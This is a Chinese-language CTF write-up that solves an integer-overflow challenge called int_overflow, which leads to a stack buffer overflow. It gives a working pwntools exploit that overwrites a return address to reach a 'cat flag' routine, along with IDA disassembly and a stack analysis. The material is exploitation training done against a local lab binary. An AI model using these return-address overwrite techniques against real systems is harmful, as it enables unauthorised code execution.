整数溢出攻击(二):ctf整数溢出导致栈溢出出实战
1、本想拿windows下整数溢出做漏洞实战,奈何没找到合适的windows版本镜像,看不到实际效果,只能作罢;遂拿ctf的整数溢出学习;xctf下面有个int_overflow题不错,可以拿来练手!
这里建议把int_overflow下载到本地测试,不要通过网络远程测试(坑得一b);我用的是kali的系统,装了docker镜像,这份代码是在镜像中运行的。效果如下:随便属于什么内容都提示success;
root@xxx_ctf:/ctf/work# ./int_overflow --------------------- ~~ Welcome to CTF! ~~ 1.Login 2.Exit --------------------- Your choice:1 Please input your username: admin Hello admin Please input your passwd: 123456 Success
同目录下自己建了个flag文件,后续int_overflow溢出时会读这个flag文件;flag文件的内容是:flag{1234567890}
这里先解释一下为什么不要通过网络远程测试,这是我测试时报的错:sendlineafter函数出错了,一直报raise EOFERROR错误;查了好久的资料,https://github.com/Gallopsled/pwntools/issues/47 这里给了提示:If there's no data to read, an EOFError is raised to the top level;如果服务器没有数据返回,这个函数就会报EOFError错误。后来换成本地测试,一切都正常了!
root@xxxx_ctf:/ctf/work# python3 int_overflow.py [+] Opening connection to 111.200.241.244 on port 57052: Done Traceback (most recent call last): File "int_overflow.py", line 4, in <module> io.sendlineafter("Your choice:", "1") File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 796, in sendlineafter res = self.recvuntil(delim, timeout=timeout) File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 310, in recvuntil res = self.recv(timeout=self.timeout) File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 82, in recv return self._recv(numb, timeout) or b'' File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 160, in _recv if not self.buffer and not self._fillbuffer(timeout): File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 131, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFError EOFError
先看看本地测试的结果:成功拿到flag{1234567890}(当然这个flag是我刚才人为“伪造”的);
root@xxxx_ctf:/ctf/work# python3 int_overflow.py [+] Starting local process './int_overflow': pid 182 [*] Switching to interactive mode Success flag{1234567890} [*] Got EOF while reading in interactive $ [*] Process './int_overflow' stopped with exit code -11 (SIGSEGV) (pid 182) [*] Got EOF while sending in interactive
先把POC贴出来:这是在我kali本机测试的代码
from pwn import * #io = remote("111.200.241.244", 57052) io = process("./int_overflow") cat_flag_addr = 0x0804868B io.sendlineafter("Your choice:","1") io.sendlineafter("your username:","kk") io.recvuntil("your passwd:") payload = b"a" * 0x14 + b"aaaa" + p32(cat_flag_addr)+b"a"*234 io.sendline(payload) #io.recvall() io.interactive()
2、现在分析代码原理
很多时候做逆向,我们是拿不到源代码的(这不废话么,都能拿到源代码了还需要逆向么?直接正常二次开发不就完了?)。对于大型的工程,代码都是几十、几百万行的,转成汇编后代码会更多,这么多代码,应该从哪入手了?
(1) 一般情况下,都是从数据开始的。根据逆向的目的,先找到数据,比如破解软件,找到注册失败的提示;又比如破解登陆,找到登陆失败的提示等。动态调试可以通过CE,这里是静态分析,就用IDA了。先打开IDA,来到string窗口。这里既然是ctf比赛,目的是拿到flag,自然而言就是先找flag了嘛!这里刚好有cat flag字符串,应该就是这里了(看看上文,我在同目录下新建了一个flag文件的,这里大概率就是在linux下通过cat命令查看文件内容的);
进入text界面,看到这里使用了cat flag字符,这下立即明朗了:这里把cat flag压栈,然后调用system命令执行cat flag字符串。所以如果我们想看到flag,就必须想办法跳转到这个函数的入口点,即:0x804868B;
正常情况下,这些代码都在服务器,我们是没法改代码的(要是都能改代码了,说明已经能控制服务器了,溢出已经没意义)。要想让程序跳转到0x804868B执行,只能想办法改变各个函数返回地址的值,让ebp+4的地方被改成0x804868B;那么问题又来了,从main开始,经过了层层的函数调用,到底改哪个函数的ebp+4最合适了?
刚才说了,程序都在服务端,逆向人员此时是没法改代码的,只能通过发送超长的字符串去改变ebp+4,所以一般情况下,最好是更改字符串接受函数的ebp+4;从目标代码执行的情况看,有3个地方接受了用户的输入,分别是:
- 选择login还是exit
- 输入用户名
- 输入密码
这3个地方,哪个地方最适合发送我们构造的payload去改变epb+4了?
(2)先看第一个地方:选择login还是exit;从汇编代码看,输入必须是整数;用户的输入分别和1或2比较。如果既不是1、也不是2,那么打印Invalid code提示;这对用户输入的类型做了限制,只能是1或2,所以暂时放弃,不考虑这里了!
继续分析后两个用户输入之前,先进login函数瞅瞅:这里分别初始化两个字符串s和buf,长度分别是0x20和0x200. 经验上看,0x20应该是用户名,0x200的应该是密码,毕竟密码不能公开,长一点更安全的嘛!又有一点要注意:这里是都是外平栈的,函数调用完后才通过add esp的方式平栈!
.text:0804872C push 20h ; ' ' ; n .text:0804872E push 0 ; c .text:08048730 lea eax, [ebp+s] .text:08048733 push eax ; s .text:08048734 call _memset .text:08048739 add esp, 10h .text:0804873C sub esp, 4 .text:0804873F push 200h ; n .text:08048744 push 0 ; c .text:08048746 lea eax, [ebp+buf] .text:0804874C push eax ; s .text:0804874D call _memset .text:08048752 add esp, 10h
然后再调用read函数把用户输入的用户名保存在s;这里用户名限制了长度,不能超过0x19=25个字节;
.text:08048765 sub esp, 4 .text:08048768 push 19h ; nbytes .text:0804876A lea eax, [ebp+s] .text:0804876D push eax ; buf .text:0804876E push 0 ; fd .text:08048770 call _read .text:08048775 add esp, 10h
接着打印用户输入的用户名,确保用户没输错:
.text:08048778 sub esp, 8 .text:0804877B lea eax, [ebp+s] .text:0804877E push eax .text:0804877F push offset format ; "Hello %s\n" .text:08048784 call _printf .text:08048789 add esp, 10h
接着继续输入密码:同样调用read函数,把用户输入的密码保存在buf中;这里密码的长度在0-0x199之间;
.text:0804878C sub esp, 0Ch .text:0804878F push offset aPleaseInputYou_0 ; "Please input your passwd:" .text:08048794 call _puts .text:08048799 add esp, 10h .text:0804879C sub esp, 4 .text:0804879F push 199h ; nbytes .text:080487A4 lea eax, [ebp+buf] .text:080487AA push eax ; s .text:080487AB push 0 ; fd .text:080487AD call _read .text:080487B2 add esp, 10h
这还没完了,用户输入完密码,接着调用check_passwd函数对密码做检查:
.text:080487B5 sub esp, 0Ch .text:080487B8 lea eax, [ebp+buf] .text:080487BE push eax ; buf .text:080487BF call check_passwd .text:080487C4 add esp, 10h
进入check_password看看是怎么检查密码的,代码如下;核心就是看看密码的长度,必须在3~8之间,否则提示密码无效;
.text:080486AA sub esp, 0Ch .text:080486AD push [ebp+s] ; s .text:080486B0 call _strlen .text:080486B5 add esp, 10h .text:080486B8 mov [ebp+var_9], al .text:080486BB cmp [ebp+var_9], 3 .text:080486BF jbe short loc_80486FC .text:080486C1 cmp [ebp+var_9], 8 .text:080486C5 ja short loc_80486FC .text:080486C7 sub esp, 0Ch .text:080486CA push offset s ; "Success" .text:080486CF call _puts .text:080486D4 add esp, 10h .text:080486D7 mov eax, ds:stdout@@GLIBC_2_0 .text:080486DC sub esp, 0Ch .text:080486DF push eax ; stream .text:080486E0 call _fflush .text:080486E5 add esp, 10h .text:080486E8 sub esp, 8 .text:080486EB push [ebp+s] ; src .text:080486EE lea eax, [ebp+dest] .text:080486F1 push eax ; dest .text:080486F2 call _strcpy .text:080486F7 add esp, 10h
以上就是用户名和密码输入的简单分析和解读,那么到底哪个更适合用来发送我们的payload了?这里先画个简单的堆栈图:login函数一进来就分配了0x228的空间。在此基础上调用read函数接受输入的用户名;这里就无法通过用户名覆盖login函数的返回地址了,原因如下:
- 保存用户名的read函数栈如下如所示:从read的参数看,用户名被保存在ebp-0x28的位置,但read只读取了不超过0x19=25字节的长度,是无法覆盖login返回地址的!
既然用户名这里不行,那就继续看密码的输入;根据代码画堆栈图如下:发现和用户名一样的窘境:read这里限制只读取0x199个字节,从ebp-0x228这里开始读0x199还是够不着login的返回地址,这可咋整呀?(注意:严格讲:红框部分不能叫read函数栈,我这里是为了区分login函数主题才这样叫的!)
既然密码输入那里也不行,那就继续找呗;只要涉及到函数调用的地方,肯定会在ebp+4的地方保存返回地址,就存在被覆盖的可能!下一个就是检查密码长度的check_passwd函数了,函数的栈图如下:从这里也看出不能覆盖login的返回地址,继续进入check_passwd函数看:(注意:严格讲:红框部分不能叫check_passwd函数栈,我这里是为了区分login函数主题才这样叫的!)
进入check_passwd函数,前面都是常规的操作:分配栈空间、计算密码长度,看看密码长度是不是在3和8之间,如果是就打印success;这里没有可以利用的地方,略过!
.text:080486A4 push ebp .text:080486A5 mov ebp, esp .text:080486A7 sub esp, 18h .text:080486AA sub esp, 0Ch .text:080486AD push [ebp+s] ; s .text:080486B0 call _strlen .text:080486B5 add esp, 10h .text:080486B8 mov [ebp+var_9], al ; ebp-0x9 .text:080486BB cmp [ebp+var_9], 3 .text:080486BF jbe short loc_80486FC .text:080486C1 cmp [ebp+var_9], 8 .text:080486C5 ja short loc_80486FC .text:080486C7 sub esp, 0Ch .text:080486CA push offset s ; "Success" .text:080486CF call _puts .text:080486D4 add esp, 10h .text:080486D7 mov eax, ds:stdout@@GLIBC_2_0 .text:080486DC sub esp, 0Ch .text:080486DF push eax ; stream .text:080486E0 call _fflush .text:080486E5 add esp, 10h
前面执行完,这里有个strcpy操作,关键点终于来了: 这个函数的参数分别是密码和ebp-0x14(注意:这里的ebp是check_passwd函数的),也就是把密码拷贝到ebp-0x14处,并且没有长度检查哟,是全部拷贝哟!如果从这里开始计算,需要多少个字节才能覆盖返回地址了? 覆盖哪个函数的返回地址了?
从上面的栈图可以看到,此时栈上有两个返回地址,距离ebp-0x14最近的当然是check_passwd的返回地址了(返回到login)。另一个是就是login的返回地址了(返回到main)。这里覆盖哪一个最合适了?一般情况下是就近原则:选择当前调用函数的返回地址覆盖!这里先选check_passwd的返回地址覆盖;
密码被复制到ebp-0x14的地方,ebp+4才是返回地址,所以需要先填充0x14+0x4个字节,接着再写入我们指定的返回地址即可,所以payload如下:
- b"a"*0x14+b"a"*4+p32(我们指定的跳转地址)
这样就完了么? 这个payload一共0x14+4+4=28字节=0001 1100字节,但是check_passwd里面有如下关键的检查代码:先调用strlen计算出密码长度,然后保存在eax;此时取al、也就是密码长度的最低8bit,看看是不是在3~8之间;如果不是,就跳转到另一个分支,不会再执行strcpy,所以我们构造的密码的长度需要绕过这个检查!
.text:080486AA sub esp, 0Ch .text:080486AD push [ebp+s] ; s .text:080486B0 call _strlen .text:080486B5 add esp, 10h .text:080486B8 mov [ebp+var_9], al ; ebp-0x9 .text:080486BB cmp [ebp+var_9], 3 .text:080486BF jbe short loc_80486FC .text:080486C1 cmp [ebp+var_9], 8 .text:080486C5 ja short loc_80486FC
这里al寄存器的值必须在4(不包括3)~8之间,所以字符串的长度必须是2^8+4 ~ 2^8+8 之间,原因很简单:al已经固定了在3~8,否则通不过长度检查,那么只能在ah上想办法了,此时如果ah最低位是1,那么此时的ax=2^8=1 0000 0000,加上al的值,也就在1 0000 0100 ~ 1 0000 1000之间了;所以我们构造的密码字符串长度的需要在260~264之间!
上面的payload我们只填充了28个字节,还差至少260-28=232个字节,所以这里继续构造paylaod(取个中间数,刚好卡在4~8中间,不踩线):
- b"a"*0x14+b"a"*4+p32(我们指定的跳转地址) + b"a"*234
总结:
- 这里调用关系层级比较多:main->login->check_passwd->strcpy,一直到strcpy才找到覆盖ebp的地方,挖掘这种漏洞需要耐心!
- 每调用一次函数就会在栈存放返回地址,就有被覆盖的可能,一般是选择距离最近(也就是当前调用函数)的返回地址覆盖
- 栈溢出高危地方的特征:
- mov [ebp+寄存器*4+立即数], 寄存器; 这里通过改变寄存器的值能改变ebp+4的值,达到覆盖返回地址的效果!
- 字符串操作函数比如strcat、memset、strcpy等函数前面出现了lea [ebp+立即数],这就是把栈地址作为参数传入这些函数,然后这个特定的栈地址写数据,这里也存在溢出的可能性!
补充说明:
C和C++有地址、指针的概念,加上逆向又可能多重指针,层层嵌套,很多初学者可能不好理解,我这里总结了一下这些概念之间的关系;就拿前段时间分析sqlite数据库的一张截图,如下:比如我定义了一个字符串char *s = “C:\users\xxxx\xxxxx\xxxx\xxxx”,这行代码怎么理解了?
- 首先,s是个指针,它本身就是个变量,存放在栈里的,所以这个变量本身也是要占用栈空间的。&s就表示取s占用空间的地址,也就是栈上的地址,也就是最左边那一列(看我图中标记的&s)
- 其次:s表示指针,也就是指向的地址空间在哪,那么就是存储在栈上的数据,也就是中间那列(看我图中标记的s);注意:&s和s都是地址,&s表示s这个变量本身的地址,s表示这个变量存储(也就是指向)的地址,这两个是不一样的!这里很容易混淆!
- *s表示取内容,也就是把堆上字符串取出来,就是最右边那列!
参考:
1、https://github.com/danigargu/CVE-2020-0796 Windows SMBv3 LPE Exploit
2、https://security.tencent.com/index.php/blog/msg/117 Windows 10下MS16-098 RGNOBJ整数溢出漏洞分析及利用